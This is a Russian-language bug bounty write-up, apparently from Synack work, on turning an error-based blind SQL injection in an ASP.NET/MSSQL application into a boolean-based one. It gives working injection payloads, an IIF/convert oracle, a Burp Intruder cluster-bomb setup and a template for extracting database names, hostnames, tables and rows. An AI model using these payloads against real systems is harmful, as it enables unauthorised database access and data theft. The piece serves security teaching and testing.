Превращение Error Based Blind SQL-инъекции в Boolean Based для эксплуатации
Этичный Хакер
Недавно я охотился на многообещающую цель и из моих правильно настроенных (проверяющих только SQLi) результатов активного сканирования я обнаружил, что параметр name может быть уязвим для SQL-инъекции:
name=' -> Перенаправляет на страницу /Error.aspx name='' -> Перенаправляет на страницу /AccessDenied.aspx
В рамках дальнейшего ручного анализа я заметил:
name=''' -> Перенаправляет на страницу /Error.aspx name='''' -> Перенаправляет на страницу /AccessDenied.aspx name=''''' -> Перенаправляет на страницу /Error.aspx name='''''' -> Перенаправляет на страницу /AccessDenied.aspx
Это означает, что вставка одинарных кавычек в единственном числе приводит к нарушению SQL-запроса на серверной стороне, а вставка парных кавычек не нарушает запрос. Выглядит весьма многообещающе!
Тем не менее, мои дальнейшие тесты как с помощью sqlmap, так и ручного фаззинга с помощью Burp Intruder и списка полезной нагрузки приводили на страницу Error.aspx, что означает, что все простые полезные нагрузки, такие как ' AND '1'='1 или ';WAITFOR DELAY '0:0:5'-- были либо не пригодными для использования, либо их было трудно эксплуатировать.
Поскольку приложение работало на сервере IIS и имело расширения «.aspx», я подумал, что серверной системой управления базой данных может быть Microsoft SQL Server, поскольку большинство компаний, использующих эти технологии, также используют MSSQL (это не необходимость, а обычное поведение.) Я вернулся, прочитал свои старые принятые репорты об инъекциях в MSSQL и нашел различные полезные нагрузки, с которыми можно поиграть. Я подумал, что, поскольку одинарные кавычки возвращают ошибки и исправляют ошибку, то это могла бы быть SQL-инъекция на основе ошибок. Но поскольку страница не возвращала ошибок с подробным описанием, будет ли это слепая SQL-инъекция на основе ошибок?
Для тех, кто не знает, полезная нагрузка '+convert(int,db_name())+' возвращает db_name с ошибкой, если параметр уязвим для SQLi на основе ошибок в СУБД MSSQL. Полезная нагрузка пытается преобразовать db_name в целое число, но, поскольку имя базы данных является строкой, то это невозможно выполнить, и запрос возвращает ошибку в имени базы данных. В Google можно найти множество примеров.
Я начал играть с этой полезной нагрузкой:
'+convert(int,db_name())+' -> Перенаправление на страницу /Error.aspx '+convert(char,db_name())+' -> Перенаправление на страницу /AccessDenied.aspx
Таким образом, после отправки char, вместо int, приложение переходило на страницу на AccessDenied, что было идеально в моем состоянии, так как запрос выполняется успешно. Но как насчет сбора данных?
В то время как некоторые из программ ограничивают / запрещают сбор данных с помощью уязвимостей SQL-инъекций, Synack, напротив, поощряет это для полных выплат. Поэтому я пробовал разные способы сбора данных. Методы внешней эксплуатации не сработали, поскольку, вероятно, доступ в Интернет на веб-сервере ограничен. Также было ограничение для параметра в 100 символов, которое мешало выполнять длинные запросы. Итак, как-то мне нужно было превратить этот запрос в логический или основанный на времени ответа сервера.
В ходе дальнейших исследований я выяснил, что у MSSQL есть IIF функциональность, которую можно использовать как SELECT IIF(1>2,"YES","NO"). Если первое утверждение 1>2 истинно, то оно возвращает первое значение, которое в данном случае - «YES»; а если ложно, то возвращает второе значение. Итак, я подумал, что использую это внутри функции преобразования, чтобы сделать логический оператор!
Что касается преобразования типов данных, у меня было много проблем, которые я не понимал вслепую, и я также немного поленился настроить свой собственный сервер MSSQL в тот момент. ( SQLFiddle хорошо работает в таких случаях, но в тот момент приложение тоже было недоступно). Итак, немного поигравшись, я пришел к полезной нагрузке:
'+convert(char,(SELECT IIF(SUBSTRING(DB_NAME(),1,1)='A',3,@@VERSION)))+' -> Перенаправление на /AccessDenied.aspx
Этот запрос работал так:
- Подстрока имени базы данных проверяется посимвольно, начиная с 1-го символа с длиной 1 и сравнивается с символом 'A'.
- Если этот символ равен «А», он возвращает 3 как целое число.
- Преобразование «3» как целого числа в char выполняется успешно и возвращается без ошибок, что означает, что запрос верен.
- Если символ не равен «A», он возвращает @@VERSION как функциональность T-SQL.
- Преобразование @@VERSION в char не удается и возвращает ошибку (страница Error.aspx), что означает, что запрос неверен!
- Итак, запустим Burp Intruder и выберем тип атаки «Кластерная бомба» с полезной нагрузкой:

С набором полезной нагрузки №1 в виде чисел от 1 до 10 (числа с длиной DB_NAME):

И № 2 (символы от A до Z, 0–9 и некоторые специальные символы, такие как «_»):

Выводим ответы с /AccessDenied в заголовке

Я успешно собрал текущее имя базы данных:

Некоторые другие полезные нагрузки, которые могут работать для дополнительного дампа данных при ручной эксплуатации инъекции в MSSQL:
Основной запрос для Blind Error Based SQL инъекции:
'%2bconvert(char,(SELECT IIF(SUBSTRING((***query_here***),1,1)='d',3,@@VERSION)))%2b'
Возвращает текущее имя базы данных:
select db_name()
Возвращает имя хоста
select host_name()
возвращает первую таблицу из Information Schema
select top 1 table_name from INFORMATION_SCHEMA.tables
Возвращает первый столбец из Information Schema
select top 1 column_name from INFORMATION_SCHEMA.columns
Возвращает данные второй строки из выбранного столбца / таблицы.
select ***column_name*** from ***table_name*** ORDER BY ***column_name*** OFFSET 2 ROW FETCH FIRST 1 ROW ONLY
Надеюсь, вам понравилось читать! На этом все. Благодарю за просмотр!